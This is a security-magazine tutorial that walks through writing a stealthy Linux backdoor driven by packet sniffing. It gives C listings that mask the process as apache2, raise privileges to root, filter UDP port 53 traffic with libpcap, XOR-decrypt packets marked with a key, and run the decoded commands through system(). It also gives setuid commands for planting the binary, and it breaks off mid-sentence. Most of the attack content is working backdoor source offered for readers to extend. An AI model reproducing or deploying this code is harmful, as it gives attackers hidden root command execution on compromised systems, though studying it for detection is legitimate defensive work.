Writing advanced Linux backdoors – packet sniffingWriting advanced Linux backdoors – packet sniffing
Brandon Edwards
As people create new defences for backdoors, intruders
are forced to innovate new techniques to keep pace with the rapidly
progressing security industry. One of such techniques is packet
sniffing backdoors. Let\'s learn how they work by writing our own
proof-of-concept tool.
A new backdoor technique which has evolved from the need
to bypass a local firewall (like Netfilter), without embedding code or
connecting back, is packet sniffing. This style of backdoor works by
capturing packets (possibly with specific traits) to interpret for
commands to execute. The packets containing the backdoor commands don\'t
have to be accepted by the system as a connection, just seen by the
target system\'s network interface.
Local vs remote backdoors
Local backdoors are executed locally on the target system
(hence the name), and thus require that the attacker has some form of
prior access to the affected system before execution. Most local
backdoors are used by intruders who have shell access to the
compromised system, using the backdoor to escalate their privileges.
Although there are many approaches for covertly using and hiding local
backdoors, the necessity for the attacker\'s local presence provides an
inherent high risk of discovery. For this reason, remote backdoors are
becoming more prevalent than those which require local access.
Remote backdoors are network accessible, allowing for use
from the attacker\'s system without prior access (other than the initial
planting of the backdoor itself, of course). Traditionally, these
backdoors were accessed remotely via TCP sockets listening on a high
port, to which the user could connect. Upon establishing a connection,
authentication may have been required, however many backdoors granted
access immediately. This style of standard socket listening backdoor is
primitive and very easily discovered by tools such as netstat (assuming
netstat itself is not backdoored). This type of backdoor is also easily
discovered by remote port scanning, consequently allowing arbitrary use
by other hackers.
New backdoor tactics
As the security industry has progressed, administrators
have learned to detect and defeat basic socket listening backdoors. By
implementing firewall rules to block traffic on ports not essential to
legitimate services, connectivity to listening backdoors can be greatly
reduced, if not eliminated. To counteract this defence, new tactics
were devised.
-
Embedding backdoor code inside of
existing, privileged, socket-listening daemons to evade firewall(s). A
backdoor-embedded daemon would listen for and provide normal service
until some form of a protocol trigger is received, at which point
privileges would be raised (if necessary) and a shell bound to the
socket. A key advantage with this backdoor is if it is picked up by
netstat or a port scan, it shows up as a standard listening daemon. The
risks with this method reside in having to replace a privileged binary
on the target system, as it is likely be noticed by host IDS or a
seasoned admin. Even if never noticed, if the daemon is ever upgraded,
the backdoored binary is likely to be overwritten (by the new,
legitimate binary).
-
Connecting back to a hackers
machine, instead of listening for an inbound connection, to bypass
firewall(s). The assumption for this tactic is made that if a firewall
is in place, its policies allow outbound traffic to arbitrary ports by
default. Firewalls which track the state of connections (stateful
firewalls) often allow the returning inbound traffic related to
established connections, and thus make this technique successful.
Unfortunately, this form of backdoor shows up in the output of netstat (and appears very conspicuous),
because it is still a system managed connection. Another major flaw
with this method is that timing and or triggers are required to
determine when and where a connect-back occurs.
Backdoor design
Along with the advantages of packet sniffing backdoors,
come some interesting issues, such as identifying which packets to
interpret for commands, and how to authenticate them. Also, sending
plain text command strings inside of packets might give away the
presence of a backdoor to someone monitoring network traffic - some
form of encoding or encryption (even if just simple character
substitution) should be used. Although this method is not flawless, it
can be very inconspicuous and difficult to notice unless specifically
being looked for. This article further examines the nature of this type of backdoor by demonstrating how to write one.
Backdoor objectives
Before writing any program, it is best to first identify
the program\'s objectives. Once objectives are identified, it is then
easy write an outline of the program to later base code upon. The
objectives (goals) to achieve with our example packet sniffing backdoor
will be the following:
-
Run as a setuid() program, obviously to give its user root access, but also because root privileges are required for packet capturing.
-
Capture packets directed at a selected, popular port such as UDP 53 (used by DNS).
-
Interpret
and decipher each packet with some form of authentication, ideally
encryption, and execute authenticated packet contents as commands upon
authenticating.
-
Have some additional rootkit functionality to avoid detection from tools such as ps.
Code skeleton
Having identified this example\'s objectives, we now have
to use some way to illustrate the program\'s structure and logic. This
can be done in many ways, for example via diagrams. Another way is to
use pseudo-code, which may later be easily read and translated into
real code.
Listing 1 contains a program skeleton outlining how to
attain the desired backdoor goals. This outline is written in a
descriptive code-comment fashion, and meant to illustrate the program\'s
flow of logic. This base is used in reference throughout the article
for writing the actual backdoor code.
Listing 1. Basic code skeleton
Main Program Function
{
mask process name
raise privileges
initialize variables & packet capture functions
build packet filter for desired port, protocol, etc.
enact packet filter
Loop infinitely
{
Call function to capture a packet
Pass captured packet to Packet Handler Function
}
}
Packet Handler Function
{
verify packet is intended for backdoor by checking for a
pre-defined backdoor header key
->if key is not present then return
Since backdoor has a header key,
decrypt remaining packet data with some pre-defined password
After Decryption, verify data decrypted into backdoor
intended commands by checking for protocol header/footer
->if header/footer flags are not present then return
since packet had header key, and decrypted properly,
containing adequate flags, execute the remaining data
call system to execute decrypted_data
then return
}
The program layout
shown in Listing 1 is divided into two segments: a main function, and a
packet handler function called by the main function. In main(), masking
the process name is done to deceive anyone who runs a program like ps
to view running processes. For obvious reasons, an attacker would not
want an admin to see a process called backdoor, or silentdoor, etc.
Privileges are then raised, both for the ability to capture packets, as
well as to provide to the backdoor user. Next, the packet capturing
variables and functions required for a packet capture session are
initialized. Finally, an infinite packet capturing loop is entered,
pass each captured packet to the handler function.
The packet handler function is where most of the
program\'s logic is required, as it has to decipher which packets were
meant for the backdoor from all of the packets with the same protocol
and port. The most efficient way to do this is to incorporate some form
of authentication, ideally involving some type of encryption mechanism.
In the program outline, the received packet is checked for a
backdoor-header-key (some key phrase to hint that the packet is for the
backdoor). If this backdoor-header-key is not present, the handler
function returns immediately, so the program can be ready to catch the
next packet. If the header-key is present, then it decrypts the
remaining packet data with some basic decryption scheme.
Following this, the decrypted packet contents are
searched for some string or flag, to prove the decryption was
successful. If the decrypted flags are not found, the handler simply
returns. This is done as a final layer of authentication: if the packet
has the header key, and the packet\'s contents decrypted properly, it
can be safely assumed the packet is intended for the backdoor and
contains a command. At this point the remaining decrypted packet
contents are extracted and executed as a system command, completing the
purpose of the backdoor.
Writing the program
Writing a packet sniffing program of any sort is
relatively simple, particularly with use of the libpcap library.
Libpcap is a library providing a robust, easy to use set of functions
for capturing and managing packets. This article introduces some basic
libpcap functions as used in writing the backdoor, but by no means
covers libpcap in its entirety. Extensive documentation of libpcap\'s
functions and related information is available at http://www.tcpdump.org.
Hiding the process name
Hiding or masking the process name is the first goal
covered in the program outline, and in turn will be the first issue
addressed while writing code. Listing 2 shows the beginning of a C
translation of the pseudo-code from Listing 1. Inside of function main(), the first line of code is strcpy(argv[0], MASK). This function call copies the string defined as MASK into argv[0]. When argv[0]
is changed, so is the programs base name and in turn the process name
for the program. This is a simple and effective way to change a
program\'s process name (to deceive someone running ps). In this case,
the name is changed to resemble Apache\'s running process name.
Listing 2. Hiding the process name and raising privileges
#include <stdio.h>
#include <string.h>
#include <unistd.h>
#include <sys/types.h>
#include <pcap.h>
#define MASK "/usr/sbin/apache2 -k start -DSSL"
int main(int argc, char *argv[]) {
/* mask the process name */
strcpy(argv[0], MASK);
/* change the UID/GID to 0 (raise privs) */
setuid(0);
setgid(0);
/* setup packet capturing */
/* ... */
/* capture and pass packets to handler */
/* ... */
}
Raising privileges
Listing 2 also shows the privileges being changed by calling setuid(0) and setgid(0),
to set the UID and GID respectively. This step is the most fundamental
purpose of a backdoor. These functions each take one argument: the
desired ID. Since user and group ID value of zero is root, these
functions give the program effective root privileges.
Root privileges aren\'t just for providing full access to
the user, but also required for capturing packets. Of course, for this
program to actually be allowed to set its own privileges, the compiled
binary must have the suid-bit set on the target system. Setting the
backdoor binary\'s setuid-bit and relevant permissions is as easy as
passing the following commands on the target system:
# chown root backdoor_binary
# chmod +s backdoor_binary
Capturing packets
The time has come to begin to write the appropriate pcap
functions to capture packets. Listing 3 contains the bare-essential
code to start a packet capture session for the example backdoor. The
first step in this process is to call the pcap_lookupnet()
function, which is intended to acquaint pcap with the network and
netmask it will be sniffing from. This specific call will lookup and
store the network and netmask into the bpf_u_int32 variables net and mask, which are provided as arguments.
This function\'s first argument is the desired device to
capture packets from, but setting it to NULL implies use of any device,
thus capturing packets on all available interfaces. Since an attacker
is likely to not know the devices on a target system, not specifying a
device works best for writing a backdoor. If the function call fails,
-1 is returned and the program calls exit().
Listing 3. Packet capturing
pcap_t *sniff_session;
char errbuf[PCAP_ERRBUF_SIZE];
char filter_string[]="udp dst port 53";
struct bpf_program filter;
bpf_u_int32 net;
bpf_u_int32 mask;
if (-1 == pcap_lookupnet(NULL, &net, &mask, errbuf)) {
/* failed. die. */
exit(0);
}
if (!(sniff_session=pcap_open_live(NULL, 1024, 0, 0, errbuf))) {
/* failed. die */
exit(0);
}
pcap_compile(sniff_session, &filter, filter_string, 0, net);
pcap_setfilter(sniff_session, &filter);
pcap_loop(sniff_session, 0, packet_handler, NULL);
The next function called in Listing 3 is pcap_open_live(),
which opens and returns a pointer to a packet capture descriptor. A
capture descriptor is the primary data type used for capturing packets,
and ultimately manages all aspects of the packet capturing session.
Like the previous function, this function\'s first
argument is the network device to capture on, where NULL implies any
device. The next argument is to set the maximum amount of bytes to be
captured from each packet, called the snaplen, and is set to 1024. The
third argument determines whether or not to place the device in
promiscuous mode (whether or not to capture packets which were not
intended for this system). Here it is set to non-promiscuous mode, but
this option doesn\'t matter in this context since it is ignored if NULL
(any device) is specified for the first argument.
Not entering the device into promiscuous mode is an
advantage for this application. Often, when a device enters promiscuous
mode, a statement alerting the status of the device is recorded in the
system log (which could give away the backdoor\'s presence). The fourth
argument is a read timeout in milliseconds; zero specifies no timeout.
If pcap_open_live() fails, NULL is returned and the program will exit(), otherwise a pointer to a capture descriptor is returned.
Next call is to the function pcap_compile().
This function builds, or what pcap calls compiles, a packet filter for
restricting what type of packets are captured. Building a packet filter
is the easiest way to specify the desired protocol and port of packets
to be captured, and thus can be used to satisfy one of the backdoor\'s
objectives.
The first argument to pcap_compile() is the capture descriptor, sniff_session. The next argument expected is a pointer to a bpf_program structure. This structure is referred to as the filter program which becomes compiled by pcap_compile(). In the example, the bpf_program declared is named filter, and is passed to pcap_compile() by its address (effectively a pointer).
The third argument is the string containing rules to be
compiled into this filter. The filter rule strings are written in a
logical and intuitive syntax. The array declared as filter_string[], containing "udp dst port 53", is passed for this argument. When compiled into a bpf_program, this rule string tells pcap to only capture packets destined for UDP port 53.
Once the packet filter is compiled, it is then enacted by calling pcap_setfilter(sniff_session, filter). From here on, any packet captured through the capture descriptor sniff_session will be protocol UDP destined for port 53 (which was one of the backdoor\'s goals).
Finally in Listing 3, the function pcap_loop() is called to start the actual capture session. The arguments expected by pcap_loop()
are: the capture descriptor, the count of packets to capture, the name
of a packet handler function, and an arbitrarily defined pointer to
pass to the packet handler. pcap_loop()
function works by listening for and capturing packets on the given
descriptor, until the specified capture count has been met. Upon
capturing each packet, it calls the given handler function to process
the packet accordingly. This packet handler function must have a
specifically defined argument structure, because pcap_loop() passes it data in a specific manner.
When pcap_loop()
calls the packet handler function, it passes it the following arguments
in order to the handler: a programmer-defined pointer, a pointer to a pcap_pkthdr
structure (explained later on), and a pointer to the packet itself.
This allows the packet handler function to receive the packet, its
relative information, and any other data the programmer would like to
pass in (via the programmer-defined pointer).
In Listing 3, the packet count passed is 0, which tells pcap_loop() to capture packets indefinitely. The packet hander function is specified to be called packet_handler,
which means pcap will be looking for a function with that name to pass
captured packets to. The programmer-defined pointer is not required, as
it is never actually dereferenced by pcap; it is only provided as a
means for the programmer to pass data through pcap_loop()
to the handler function. For writing this backdoor, and the scope of
this article, this pointer is not used, and in turn is passed to pcap_loop() as NULL.
Handling packets and parsing commands
How to handle a captured packet, and properly parse it
for commands, is the most difficult task to address when writing a
packet sniffing backdoor. However, since the programmer knows that pcap
will be passing the handler function arguments in a specific order,
writing a prototype for the handler function is relatively simple.
The first argument being passed to the handler is the programmer-defined pointer u_char *user. This is the same pointer which was previously passed to pcap_loop()
NULL, so it is known that no data will be present in this argument for
this example. The second argument being passed to this function is a
pointer to a pcap_pkthdr structure. This structure contains three elements: struct timeval ts containing the time the packet was captured, bpf_u_int32 caplen containing a count of bytes captured, and a bpf_u_int32 len
containing the total length of bytes available for capture (which may
be more than the bytes captured, if it exceeded the snaplen).
Finally, the last argument passed in is an unsigned char *packet,
pointing to the packet data. Keep in mind that pcap captures the entire
packet, including its protocol headers, so the pointer u_char *packet
points to the beginning of the whole packet (not just its contents). To
access solely the packet\'s contents, the length of the protocol headers
(Ethernet, UDP, IP, etc..) in bytes must be known to offset from the
packet pointer being passed. In Listing 4, there is a #define value for the combined header lengths for Ethernet, IP, and UDP headers, with a total count of 44 bytes.
Listing 4. Handling packets and parsing commands
#define ETHER_IP_UDP_LEN 44
#define MAX_SIZE 1024
#define BACKDOOR_HEADER_KEY "leet"
#define BACKDOOR_HEADER_LEN 4
#define PASSWORD "password"
#define PASSLEN 8
#define COMMAND_START "start["
#define COMMAND_END "]end"
void packet_handler(u_char *ptrnull,
const struct pcap_pkthdr *pkt_info,
const u_char *packet)
{
int len, loop;
char *ptr, *ptr2;
char decrypt[MAX_SIZE];
char command[MAX_SIZE];
/* Step 1: identify where the payload of the packet is */
ptr = (char *)(packet + ETHER_IP_UDP_LEN);
if ((pkt_info->caplen - ETHER_IP_UDP_LEN - 14) <= 0)
return;
/* Step 2: check payload for backdoor header key */
if (0 != memcmp(ptr, BACKDOOR_HEADER_KEY, BACKDOOR_HEADER_LEN))
return;
ptr += BACKDOOR_HEADER_LEN;
len = (pkt_info->caplen - ETHER_IP_UDP_LEN - BACKDOOR_HEADER_LEN);
memset(decrypt, 0x0, sizeof(decrypt));
/* Step 3: decrypt the packet by XOR\'ing pass against contents */
for (loop = 0; loop < len; loop++)
decrypt[loop] = ptr[loop] ^ PASSWORD[(loop % PASSLEN)];
/* Step 4: verify decrypted contents */
if (!(ptr = strstr(decrypt, COMMAND_START)))
return;
ptr += strlen(COMMAND_START);
if (!(ptr2 = strstr(ptr, COMMAND_END)))
return;
/* Step 5: extract what remains */
memset(command, 0x0, sizeof(command));
strncpy(command, ptr, (ptr2 - ptr));
/* Step 6: Execute command */
system(command);
return;
}
The function shown in Listing 4 is named packet_handler(), as this is the expected function name (having been passed into pcap_loop() in Listing 3). The objective of packet_handler()
is to ensure that the packet being passed is meant for the backdoor,
and contains the legitimate backdoor data. To achieve this for the
example backdoor, it is necessary to write some form of backdoor
protocol syntax for the authentication and decryption of the packet.
As shown in Listing 4, the first layer of authentication
involves comparing the first few bytes of the packet contents against
some form of protocol-key. If the key is not present, the packet is
immediately disqualified from backdoor use, and the function returns.
This presence of this protocol key indicates that the packet is most
likely meant for the backdoor, and the data should proceed through
furher authentication. The intent of having a protocol-key checked for
before more process-intensive forms of authentication is for
efficiency.
By now, if the handler function has not yet returned,
the packet is assumed to contain encrypted data. It is appropriate to
now attempt decryption of the remaining packet data, and then check for
further authentication. For the scope of this example, no means of
heavy encryption will be used, instead this example uses a method
called XOR encryption. This form of encryption is simple, using the XOR
(Exclusive-OR) bitwise operator with 2 bytes of data to produce 1
resulting byte of data. That is, to take a byte from a password string,
and XOR it against a byte from the array of data to be encrypted, and
the result is an encrypted byte. The decryption process is the
essentially the same process: XOR an encrypted byte against a
corresponding password byte to find the original unencrypted byte.
Listing 4 uses a for loop to XOR each byte remaining in the packet against the password defined as PASSWORD. The modulus operator (%)
is used to determine which byte of the password string corresponds to
the byte being referenced in the packet contents. The decrypted byte
resulting from each cycle in the loop is stored in the array named decrypt[].
Once the remaining data has been decrypted, it needs to
be verified. Verification of the decrypted data is done to check that
it originated from a decrypted state and thus was intended for the
backdoor. It is important here to realize that even though the packet
contained the backdoor header key, it may have been completely random
and coincidental. More importantly, the packet might even be spoofed by
someone aware of the backdoor, as the header key could be easily
sniffed (as it is in plaintext). By checking the decrypted data, it is
ensured that the creator of the packet not only knew the backdoor
header key, but also knew the encryption password.
For easy programming, Listing 4 validates the decrypted
contents by simply checking for 2 predefined strings within the
decrypted data. These strings are meant act as a header and footer for
the command string to the executed, and are defined as COMMAND_START and COMMAND_END.
If either one of these strings is not found, the packet is considered
invalid and, the function returns. Otherwise, if both strings are
present, the data between the two strings is extracted and considered
to be a command. This final step in verification eliminates almost all
(99.9%) possibility of an irrelevantly random or fraudulently created
packet.
The last step to complete the purpose of this backdoor
is execute the remaining string as a command. This is done in Listing 4
by calling system() on the remaining decrypted, extracted string. Note that although calling system()
will cause execution of the string as a command, it does nothing to
manage the input/output of the command being executed. In turn, system() is not very stealthy or practical in the context of a remote backdoor, and only shown here as an example.
Our example backdoor is, as we can see, very simple.
However, it forms a base for experimentation and for extended
functionality. One program already created on the basis of this idea is
author\'s own SilentDoor, included on the hakin9.live CD. Readers are
encouraged to experiment and expand this idea and welcome to post
comments to